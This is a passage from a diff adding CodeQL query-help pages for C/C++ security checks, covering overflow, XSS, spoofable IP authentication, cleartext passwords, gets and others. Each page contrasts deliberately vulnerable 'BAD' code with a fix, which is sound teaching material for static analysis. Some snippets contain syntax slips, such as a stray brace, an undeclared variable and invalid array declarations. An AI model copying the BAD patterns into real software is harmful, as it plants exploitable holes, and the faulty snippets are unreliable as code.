CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-190/ArithmeticUncontrolled.ql) + +Performing calculations on uncontrolled data can result in integer overflows unless the input is validated. + +If the data is not under your control, and can take extremely large values, even arithmetic operations that would usually result in a small change in magnitude may result in overflows. + + +## Recommendation +Always guard against overflow in arithmetic operations on uncontrolled data by doing one of the following: + +* Validate the data. +* Define a guard on the arithmetic expression, so that the operation is performed only if the result can be known to be less than, or equal to, the maximum value for the type, for example `INT_MAX`. +* Use a wider type, so that larger input values do not cause overflow. + +## Example +In this example, a random integer is generated. Because the value is not controlled by the programmer, it could be extremely large. Performing arithmetic operations on this value could therefore cause an overflow. To avoid this happening, the example shows how to perform a check before performing an arithmetic operation. + + +```c +int main(int argc, char** argv) { + int i = rand(); + // BAD: potential overflow + int j = i + 1000; + + // ... + + int n = rand(); + int k; + // GOOD: use a guard to prevent overflow + if (n < INT_MAX-1000) + k = n + 1000; + else + k = INT_MAX; +} + +``` + +## References +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-191](https://cwe.mitre.org/data/definitions/191.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/AuthenticationBypass.md b/docs/language/query-help/cpp/AuthenticationBypass.md new file mode 100644 index 00000000000..ad539c508d7 --- /dev/null +++ b/docs/language/query-help/cpp/AuthenticationBypass.md @@ -0,0 +1,61 @@ +# Authentication bypass by spoofing + +``` +ID: cpp/user-controlled-bypass +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-290 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-290/AuthenticationBypass.ql) + +Code which relies on an IP address or domain name for authentication can be exploited by an attacker who spoofs their address. + + +## Recommendation +IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication. Make sure that other authentication methods are also in place. + + +## Example +In this example (taken from [CWE-290: Authentication Bypass by Spoofing](http://cwe.mitre.org/data/definitions/290.html)), the client is authenticated by checking that its IP address is `127.0.0.1`. An attacker might be able to bypass this authentication by spoofing their IP address. + + +```cpp + +#define BUFFER_SIZE (4 * 1024) + +void receiveData() +{ + int sock; + sockaddr_in addr, addr_from; + char buffer[BUFFER_SIZE]; + int msg_size; + socklen_t addr_from_len; + + // configure addr + memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = htons(1234); + addr.sin_addr.s_addr = INADDR_ANY; + + // create and bind the socket + sock = socket(AF_INET, SOCK_DGRAM, 0); + bind(sock, (sockaddr *)&addr, sizeof(addr)); + + // receive message + addr_from_len = sizeof(addr_from); + msg_size = recvfrom(sock, buffer, BUFFER_SIZE, 0, (sockaddr *)&addr_from, &addr_from_len); + + // BAD: the address is controllable by the user, so it + // could be spoofed to bypass the security check below. + if ((msg_size > 0) && (strcmp("127.0.0.1", inet_ntoa(addr_from.sin_addr)) == 0)) + { + // ... + } +} + +``` + +## References +* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/BadAdditionOverflowCheck.md b/docs/language/query-help/cpp/BadAdditionOverflowCheck.md new file mode 100644 index 00000000000..1ecc9184f3d --- /dev/null +++ b/docs/language/query-help/cpp/BadAdditionOverflowCheck.md @@ -0,0 +1,46 @@ +# Bad check for overflow of integer addition + +>ID: cpp/bad-addition-overflow-check +> +>Kind: problem +> +>Severity: error +> +>Precision: very-high +>Tags: reliability correctness security external/cwe/cwe-190 external/cwe/cwe-192 + +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Arithmetic/BadAdditionOverflowCheck.ql) + +Checking for overflow of integer addition needs to be done with care, because automatic type promotion can prevent the check from working as intended, with the same value (`true` or `false`) always being returned. + + +## Recommendation +Use an explicit cast to make sure that the result of the addition is not implicitly converted to a larger type. + + +## Example + +```cpp +bool checkOverflow(unsigned short x, unsigned short y) { + // BAD: comparison is always false due to type promotion + return (x + y < x); +} + +``` +On a typical architecture where `short` is 16 bits and `int` is 32 bits, the operands of the addition are automatically promoted to `int`, so it cannot overflow and the result of the comparison is always false. + +The code below implements the check correctly, by using an explicit cast to make sure that the result of the addition is `unsigned short` (which may overflow, in which case the comparison would evaluate to `true`). + + +```cpp +bool checkOverflow(unsigned short x, unsigned short y) { + return ((unsigned short)(x + y) < x); // GOOD: explicit cast +} + +``` + +## References +* [Preserving Rules](http://c-faq.com/expr/preservingrules.html) +* [Understand integer conversion rules](https://www.securecoding.cert.org/confluence/plugins/servlet/mobile#content/view/20086942) +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-192](https://cwe.mitre.org/data/definitions/192.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/BadlyBoundedWrite.md b/docs/language/query-help/cpp/BadlyBoundedWrite.md new file mode 100644 index 00000000000..05223acc7c5 --- /dev/null +++ b/docs/language/query-help/cpp/BadlyBoundedWrite.md @@ -0,0 +1,42 @@ +# Badly bounded write + +``` +ID: cpp/badly-bounded-write +Kind: problem +Severity: error +Precision: high +Tags: reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-120/BadlyBoundedWrite.ql) + +The program performs a buffer copy or write operation with an incorrect upper limit on the size of the copy. A sufficiently long input will overflow the target buffer. In addition to causing program instability, techniques exist which may allow an attacker to use this vulnerability to execute arbitrary code. + + +## Recommendation +Use preprocessor defines to specify the size of buffers, and use the same defines as arguments to `strncpy`, `snprintf` etc. This technique will ensure that buffer sizes are always specified correctly so that no overflow occurs. + + +## Example + +```c +void congratulateUser(const char *userName) +{ + char buffer[80]; + + // BAD: even though snprintf is used, this could overflow the buffer + // because the size specified is too large. + snprintf(buffer, 256, "Congratulations, %s!", userName); + + MessageBox(hWnd, buffer, "New Message", MB_OK); +} +``` +In this example, the developer has used `snprintf` to control the maximum number of characters that can be written to `buffer`. Unfortunately, perhaps due to modifications since the code was first written, a limited buffer overrun can still occur because the size argument to `snprintf` is larger than the actual size of the buffer. + +To fix the problem, either the second argument to `snprintf` should be changed to 80, or the buffer extended to 256 characters. A further improvement is to use a preprocessor define so that the size is only specified in one place, potentially preventing future recurrence of this issue. + + +## References +* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). +* Common Weakness Enumeration: [CWE-787](https://cwe.mitre.org/data/definitions/787.html). +* Common Weakness Enumeration: [CWE-805](https://cwe.mitre.org/data/definitions/805.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/BrokenCryptoAlgorithm.md b/docs/language/query-help/cpp/BrokenCryptoAlgorithm.md new file mode 100644 index 00000000000..05f08d4667d --- /dev/null +++ b/docs/language/query-help/cpp/BrokenCryptoAlgorithm.md @@ -0,0 +1,46 @@ +# Use of a broken or risky cryptographic algorithm + +``` +ID: cpp/weak-cryptographic-algorithm +Kind: problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-327 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-327/BrokenCryptoAlgorithm.ql) + +Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted. + +Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that an attacker may be able to easily decrypt the encrypted data. + + +## Recommendation +Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048. + + +## Example +The following code shows an example of using the `advapi` windows API to decrypt some data. When creating a key, you must specify which algorithm to use. The first example uses DES which is an older algorithm that is now considered weak. The second example uses AES, which is a strong modern algorithm. + + +```c +void advapi() { + HCRYPTPROV hCryptProv; + HCRYPTKEY hKey; + HCRYPTHASH hHash; + // other preparation goes here + + // BAD: use 3DES for key + CryptDeriveKey(hCryptProv, CALG_3DES, hHash, 0, &hKey); + + // GOOD: use AES + CryptDeriveKey(hCryptProv, CALG_AES_256, hHash, 0, &hKey); +} + + +``` + +## References +* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). +* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). +* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/CastArrayPointerArithmetic.md b/docs/language/query-help/cpp/CastArrayPointerArithmetic.md new file mode 100644 index 00000000000..a878125a384 --- /dev/null +++ b/docs/language/query-help/cpp/CastArrayPointerArithmetic.md @@ -0,0 +1,48 @@ +# Upcast array used in pointer arithmetic + +``` +ID: cpp/upcast-array-pointer-arithmetic +Kind: path-problem +Severity: warning +Precision: high +Tags: correctness reliability security external/cwe/cwe-119 external/cwe/cwe-843 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Conversion/CastArrayPointerArithmetic.ql) + +A pointer to a derived class may be implicitly converted to a pointer to its base type when passed as an argument to a function expecting a pointer to the base type. If pointer arithmetic or an array dereference is then used, it will be performed using the size of the base type. This can lead to reading data from unexpected fields in the derived type. + + +## Recommendation +Only convert pointers to single objects. If you must work with a sequence of objects that are converted to a base type, use an array of pointers rather than a pointer to an array. + + +## Example + +```cpp +class Base { +public: + int x; +} + +class Derived: public Base { +public: + int y; +}; + +void dereference_base(Base *b) { + b[2].x; +} + +void dereference_derived(Derived *d) { + d[2].x; +} + +void test () { + Derived[4] d; + dereference_base(d); // BAD: implicit conversion to Base* + + dereference_derived(d); // GOOD: implicit conversion to Derived*, which will be the right size +} + +``` \ No newline at end of file diff --git a/docs/language/query-help/cpp/CgiXss.md b/docs/language/query-help/cpp/CgiXss.md new file mode 100644 index 00000000000..6337040a100 --- /dev/null +++ b/docs/language/query-help/cpp/CgiXss.md @@ -0,0 +1,54 @@ +# CGI script vulnerable to cross-site scripting + +``` +ID: cpp/cgi-xss +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-079 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-079/CgiXss.ql) + +Directly writing an HTTP request parameter back to a web page allows for a cross-site scripting vulnerability. The data is displayed in a user's web browser as belonging to one site, but it is provided by some other site that the user browses to. In effect, such an attack allows one web site to insert content in the other one. + +For web servers implemented with the Common Gateway Interface (CGI), HTTP parameters are supplied via the `QUERY_STRING` environment variable. + + +## Recommendation +To guard against cross-site scripting, consider escaping special characters before writing the HTTP parameter back to the page. + + +## Example +In the following example, the `bad_server` writes a parameter directly back to the HTML page that the user will see. The `good_server` first escapes any HTML special characters before writing to the HTML page. + + +```c +void bad_server() { + char* query = getenv("QUERY_STRING"); + puts("

    Query results for "); + // BAD: Printing out an HTTP parameter with no escaping + puts(query); + puts("\n

    \n"); + puts(do_search(query)); +} + +void good_server() { + char* query = getenv("QUERY_STRING"); + puts("

    Query results for "); + // GOOD: Escape HTML characters before adding to a page + char* query_escaped = escape_html(query); + puts(query_escaped); + free(query_escaped); + + puts("\n

    \n"); + puts(do_search(query)); +} + +``` + +## References +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* IETF Tools: [The Common Gateway Specification (CGI)](http://tools.ietf.org/html/draft-robinson-www-interface-00). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/CleartextBufferWrite.md b/docs/language/query-help/cpp/CleartextBufferWrite.md new file mode 100644 index 00000000000..6b3968157e6 --- /dev/null +++ b/docs/language/query-help/cpp/CleartextBufferWrite.md @@ -0,0 +1,45 @@ +# Cleartext storage of sensitive information in buffer + +``` +ID: cpp/cleartext-storage-buffer +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-312 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-311/CleartextBufferWrite.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored, especially before writing to a file. It may be wise to encrypt information before it is put into a buffer that may be readable in memory. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + + +## Example +The following example shows two ways of storing user credentials in a file. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are encrypted before storing them. + + +```c +void writeCredentials() { + char *password = "cleartext password"; + FILE* file = fopen("credentials.txt", "w"); + + // BAD: write password to disk in cleartext + fputs(password, file); + + // GOOD: encrypt password first + char *encrypted = encrypt(password); + fputs(encrypted, file); +} + + +``` + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/CleartextFileWrite.md b/docs/language/query-help/cpp/CleartextFileWrite.md new file mode 100644 index 00000000000..1fbe122b393 --- /dev/null +++ b/docs/language/query-help/cpp/CleartextFileWrite.md @@ -0,0 +1,45 @@ +# Cleartext storage of sensitive information in file + +``` +ID: cpp/cleartext-storage-file +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-313 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-311/CleartextFileWrite.ql) + +Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. + + +## Recommendation +Ensure that sensitive information is always encrypted before being stored, especially before writing to a file. It may be wise to encrypt information before it is put into a buffer that may be readable in memory. + +In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. + + +## Example +The following example shows two ways of storing user credentials in a file. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are encrypted before storing them. + + +```c +void writeCredentials() { + char *password = "cleartext password"; + FILE* file = fopen("credentials.txt", "w"); + + // BAD: write password to disk in cleartext + fputs(password, file); + + // GOOD: encrypt password first + char *encrypted = encrypt(password); + fputs(encrypted, file); +} + + +``` + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/CleartextSqliteDatabase.md b/docs/language/query-help/cpp/CleartextSqliteDatabase.md new file mode 100644 index 00000000000..be5cba5b22d --- /dev/null +++ b/docs/language/query-help/cpp/CleartextSqliteDatabase.md @@ -0,0 +1,67 @@ +# Cleartext storage of sensitive information in an SQLite database + +``` +ID: cpp/cleartext-storage-database +Kind: path-problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-313 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-313/CleartextSqliteDatabase.ql) + +Sensitive information that is stored in an unencrypted SQLite database is accessible to an attacker who gains access to the database. + + +## Recommendation +Ensure that if sensitive information is stored in a database then the database is always encrypted. + + +## Example +The following example shows two ways of storing information in an SQLite database. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the database (and thus the credentials) are encrypted. + + +```c + +void bad(void) { + char *password = "cleartext password"; + sqlite3 *credentialsDB; + sqlite3_stmt *stmt; + + if (sqlite3_open("credentials.db", &credentialsDB) == SQLITE_OK) { + // BAD: database opened without encryption being enabled + sqlite3_exec(credentialsDB, "CREATE TABLE IF NOT EXISTS creds (password TEXT);", NULL, NULL, NULL); + if (sqlite3_prepare_v2(credentialsDB, "INSERT INTO creds(password) VALUES(?)", -1, &stmt, NULL) == SQLITE_OK) { + sqlite3_bind_text(stmt, 1, password, -1, SQLITE_TRANSIENT); + sqlite3_step(stmt); + sqlite3_finalize(stmt); + sqlite3_close(credentialsDB); + } + } +} + +void good(void) { + char *password = "cleartext password"; + sqlite3 *credentialsDB; + sqlite3_stmt *stmt; + + if (sqlite3_open("credentials.db", &credentialsDB) == SQLITE_OK) { + // GOOD: database encryption enabled: + sqlite3_exec(credentialsDB, "PRAGMA key = 'secretKey!'", NULL, NULL, NULL); + sqlite3_exec(credentialsDB, "CREATE TABLE IF NOT EXISTS creds (password TEXT);", NULL, NULL, NULL); + if (sqlite3_prepare_v2(credentialsDB, "INSERT INTO creds(password) VALUES(?)", -1, &stmt, NULL) == SQLITE_OK) { + sqlite3_bind_text(stmt, 1, password, -1, SQLITE_TRANSIENT); + sqlite3_step(stmt); + sqlite3_finalize(stmt); + sqlite3_close(credentialsDB); + } + } +} + + +``` + +## References +* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. +* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. +* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/ComparisonWithWiderType.md b/docs/language/query-help/cpp/ComparisonWithWiderType.md new file mode 100644 index 00000000000..d2bbac37387 --- /dev/null +++ b/docs/language/query-help/cpp/ComparisonWithWiderType.md @@ -0,0 +1,63 @@ +# Comparison of narrow type with wide type in loop condition + +``` +ID: cpp/comparison-with-wider-type +Kind: problem +Severity: warning +Precision: high +Tags: reliability security external/cwe/cwe-190 external/cwe/cwe-197 external/cwe/cwe-835 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-190/ComparisonWithWiderType.ql) + +In a loop condition, comparison of a value of a narrow type with a value of a wide type may result in unexpected behavior if the wider value is sufficiently large (or small). This is because the narrower value may overflow. This can lead to an infinite loop. + + +## Recommendation +Change the types of the compared values so that the value on the narrower side of the comparison is at least as wide as the value it is being compared with. + + +## Example +In this example, `bytes_received` is compared against `max_get` in a `while` loop. However, `bytes_received` is an `int16_t`, and `max_get` is an `int32_t`. Because `max_get` is larger than `INT16_MAX`, the loop condition is always `true`, so the loop never terminates. + +This problem is avoided in the 'GOOD' case because `bytes_received2` is an `int32_t`, which is as wide as the type of `max_get`. + + +```c +void main(int argc, char **argv) { + uint32_t big_num = INT32_MAX; + char buf[big_num]; + int16_t bytes_received = 0; + int max_get = INT16_MAX + 1; + + // BAD: 'bytes_received' is compared with a value of a wider type. + // 'bytes_received' overflows before reaching 'max_get', + // causing an infinite loop + while (bytes_received < max_get) + bytes_received += get_from_input(buf, bytes_received); + } + + uint32_t bytes_received = 0; + + // GOOD: 'bytes_received2' has a type at least as wide as 'max_get' + while (bytes_received < max_get) { + bytes_received += get_from_input(buf, bytes_received); + } + +} + + +int getFromInput(char *buf, short pos) { + // write to buf + // ... + return 1; +} + +``` + +## References +* [Data type ranges](https://docs.microsoft.com/en-us/cpp/cpp/data-type-ranges) +* [INT18-C. Evaluate integer expressions in a larger size before comparing or assigning to that size ](https://wiki.sei.cmu.edu/confluence/display/c/INT18-C.+Evaluate+integer+expressions+in+a+larger+size+before+comparing+or+assigning+to+that+size) +* Common Weakness Enumeration: [CWE-190](https://cwe.mitre.org/data/definitions/190.html). +* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). +* Common Weakness Enumeration: [CWE-835](https://cwe.mitre.org/data/definitions/835.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/DangerousFunctionOverflow.md b/docs/language/query-help/cpp/DangerousFunctionOverflow.md new file mode 100644 index 00000000000..bc4ef69a78d --- /dev/null +++ b/docs/language/query-help/cpp/DangerousFunctionOverflow.md @@ -0,0 +1,56 @@ +# Use of dangerous function + +``` +ID: cpp/dangerous-function-overflow +Kind: problem +Severity: error +Precision: very-high +Tags: reliability security external/cwe/cwe-242 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-676/DangerousFunctionOverflow.ql) + +This rule finds calls to the `gets` function, which is dangerous and should not be used. See **Related rules** below for rules that identify other dangerous functions. + +The `gets` function is one of the vulnerabilities exploited by the Internet Worm of 1988, one of the first computer worms to spread through the Internet. The `gets` function provides no way to limit the amount of data that is read and stored, so without prior knowledge of the input it is impossible to use it safely with any size of buffer. + + +## Recommendation +Replace calls to `gets` with `fgets`, specifying the maximum length to copy. This will prevent the buffer overflow. + + +## Example +The following example gets a string from standard input in two ways: + + +```c +#define BUFFERSIZE (1024) + +// BAD: using gets +void echo_bad() { + char buffer[BUFFERSIZE]; + gets(buffer); + printf("Input was: '%s'\n", buffer); +} + +// GOOD: using fgets +void echo_good() { + char buffer[BUFFERSIZE]; + fgets(buffer, BUFFERSIZE, stdin); + printf("Input was: '%s'\n", buffer); +} + +``` +The first version uses `gets` and will overflow if the input is longer than the buffer. The second version of the code uses `fgets` and will not overflow, because the amount of data written is limited by the length parameter. + + +## Related rules +Other dangerous functions identified by CWE-676 ("Use of Potentially Dangerous Function") include `strcpy` and `strcat`. Use of these functions is highlighted by rules for the following CWEs: + +* [CWE-120 Classic Buffer Overflow](https://cwe.mitre.org/data/definitions/120.html). +* [CWE-131 Incorrect Calculation of Buffer Size](https://cwe.mitre.org/data/definitions/131.html). + +## References +* Wikipedia: [Morris worm](http://en.wikipedia.org/wiki/Morris_worm). +* E. Spafford. *The Internet Worm Program: An Analysis*. Purdue Technical Report CSD-TR-823, [(online)](http://www.textfiles.com/100/tr823.txt), 1988. +* Common Weakness Enumeration: [CWE-242](https://cwe.mitre.org/data/definitions/242.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/DangerousUseOfCin.md b/docs/language/query-help/cpp/DangerousUseOfCin.md new file mode 100644 index 00000000000..2072b043618 --- /dev/null +++ b/docs/language/query-help/cpp/DangerousUseOfCin.md @@ -0,0 +1,47 @@ +# Dangerous use of 'cin' + +``` +ID: cpp/dangerous-cin +Kind: problem +Severity: error +Precision: high +Tags: reliability security external/cwe/cwe-676 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-676/DangerousUseOfCin.ql) + +This rule finds calls to `std::istream::operator>>` on `std::cin` without a preceding call to `cin.width`. Consuming input from `cin` without specifying the length of the input is dangerous due to the possibility of buffer overflows. + + +## Recommendation +Always specify the length of any input expected from `cin` by calling `cin.width` before consuming the input. + + +## Example +The following example shows both a dangerous and a safe way to consume input from `cin`. + + +```cpp +#define BUFFER_SIZE 20 + +void bad() +{ + char buffer[BUFFER_SIZE]; + // BAD: Use of 'cin' without specifying the length of the input. + cin >> buffer; + buffer[BUFFER_SIZE-1] = '\0'; +} + +void good() +{ + char buffer[BUFFER_SIZE]; + // GOOD: Specifying the length of the input before using 'cin'. + cin.width(BUFFER_SIZE); + cin >> buffer; + buffer[BUFFER_SIZE-1] = '\0'; +} + +``` + +## References +* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/DoNotCreateWorldWritable.md b/docs/language/query-help/cpp/DoNotCreateWorldWritable.md new file mode 100644 index 00000000000..61a9dda8a76 --- /dev/null +++ b/docs/language/query-help/cpp/DoNotCreateWorldWritable.md @@ -0,0 +1,45 @@ +# File created without restricting permissions + +``` +ID: cpp/world-writable-file-creation +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-732 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-732/DoNotCreateWorldWritable.ql) + +When you create a file, take care to give it the most restrictive permissions possible. A typical mistake is to create the file with world-writable permissions. This can allow an attacker to write to the file, which can give them unexpected control over the program. + + +## Recommendation +Files should usually be created with write permissions only for the current user. If broader permissions are needed, including the users' group should be sufficient. It is very rare that a file needs to be world-writable, and care should be taken not to make assumptions about the contents of any such file. + +On Unix systems, it is possible for the user who runs the program to restrict file creation permissions using `umask`. However, a program should not assume that the user will set an `umask`, and should still set restrictive permissions by default. + + +## Example +This example shows two ways of writing a default configuration file. Software often does this to provide the user with a convenient starting point for defining their own configuration. However, configuration files can also control important aspects of the software's behavior, so it is important that they cannot be controlled by an attacker. + +The first example creates the default configuration file with the usual "default" Unix permissions, `0666`. This makes the file world-writable, so that an attacker could write in their own configuration that would be read by the program. The second example uses more restrictive permissions: a combination of the standard Unix constants `S_IWUSR` and `S_IRUSR` which means that only the current user will have read and write access to the file. + + +```c +int write_default_config_bad() { + // BAD - this is world-writable so any user can overwrite the config + FILE* out = creat(OUTFILE, 0666); + fprintf(out, DEFAULT_CONFIG); +} + +int write_default_config_good() { + // GOOD - this allows only the current user to modify the file + FILE* out = creat(OUTFILE, S_IWUSR | S_IRUSR); + fprintf(out, DEFAULT_CONFIG); +} + +``` + +## References +* The CERT Oracle Secure Coding Standard for C: [ FIO06-C. Create files with appropriate access permissions ](https://www.securecoding.cert.org/confluence/display/c/FIO06-C.+Create+files+with+appropriate+access+permissions). +* Common Weakness Enumeration: [CWE-732](https://cwe.mitre.org/data/definitions/732.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/HResultBooleanConversion.md b/docs/language/query-help/cpp/HResultBooleanConversion.md new file mode 100644 index 00000000000..0311e8c54bf --- /dev/null +++ b/docs/language/query-help/cpp/HResultBooleanConversion.md @@ -0,0 +1,42 @@ +# Cast between HRESULT and a Boolean type + +``` +ID: cpp/hresult-boolean-conversion +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-253 external/microsoft/C6214 external/microsoft/C6215 external/microsoft/C6216 external/microsoft/C6217 external/microsoft/C6230 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-253/HResultBooleanConversion.ql) + +This query indicates that an `HRESULT` is being cast to a Boolean type or vice versa. + +The typical success value (`S_OK`) of an `HRESULT` equals 0. However, 0 indicates failure for a Boolean type. + +Casting an `HRESULT` to a Boolean type and then using it in a test expression will yield an incorrect result. + + +## Recommendation +To check if a call that returns an `HRESULT` succeeded use the `FAILED` macro. + + +## Example +In the following example, `HRESULT` is used in a test expression incorrectly as it may yield an incorrect result. + + +```cpp +LPMALLOC pMalloc; +HRESULT hr = CoGetMalloc(1, &pMalloc); + +if (!hr) +{ + // code ... +} + +``` +To fix this issue, use the `FAILED` macro in the test expression. + + +## References +* Common Weakness Enumeration: [CWE-253](https://cwe.mitre.org/data/definitions/253.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/IncorrectNotOperatorUsage.md b/docs/language/query-help/cpp/IncorrectNotOperatorUsage.md new file mode 100644 index 00000000000..1802ac2c4b3 --- /dev/null +++ b/docs/language/query-help/cpp/IncorrectNotOperatorUsage.md @@ -0,0 +1,55 @@ +# Incorrect 'not' operator usage + +``` +ID: cpp/incorrect-not-operator-usage +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-480 external/microsoft/c6317 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Likely%20Typos/IncorrectNotOperatorUsage.ql) + +This rule finds logical-not operator usage as an operator for in a bit-wise operation. + +Due to the nature of logical operation result value, only the lowest bit could possibly be set, and it is unlikely to be intent in bitwise opeartions. Violations are often indicative of a typo, using a logical-not (`!`) opeartor instead of the bit-wise not (`~`) operator. + +This rule is restricted to analyze bit-wise and (`&`) and bit-wise or (`|`) operation in order to provide better precision. + +This rule ignores instances where a double negation (`!!`) is explicitly used as the opeartor of the bitwise operation, as this is a commonly used as a mechanism to normalize an integer value to either 1 or 0. + +NOTE: It is not recommended to use this rule in kernel code or older C code as it will likely find several false positive instances. + + +## Recommendation +Carefully inspect the flagged expressions. Consider the intent in the code logic, and decide whether it is necessary to change the not operator. + + +## Example + +```cpp +#define FLAGS 0x4004 + +void f_warning(int i) +{ + // The usage of the logical not operator in this case is unlikely to be correct + // as the output is being used as an operator for a bit-wise and operation + if (i & !FLAGS) + { + // code + } +} + + +void f_fixed(int i) +{ + if (i & ~FLAGS) // Changing the logical not operator for the bit-wise not operator would fix this logic + { + // code + } +} +``` + +## References +* [warning C6317: incorrect operator: logical-not (!) is not interchangeable with ones-complement (~)](https://docs.microsoft.com/en-us/visualstudio/code-quality/c6317?view=vs-2017) +* Common Weakness Enumeration: [CWE-480](https://cwe.mitre.org/data/definitions/480.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/IncorrectPointerScaling.md b/docs/language/query-help/cpp/IncorrectPointerScaling.md new file mode 100644 index 00000000000..ef57fe13bdc --- /dev/null +++ b/docs/language/query-help/cpp/IncorrectPointerScaling.md @@ -0,0 +1,43 @@ +# Suspicious pointer scaling + +``` +ID: cpp/suspicious-pointer-scaling +Kind: problem +Severity: warning 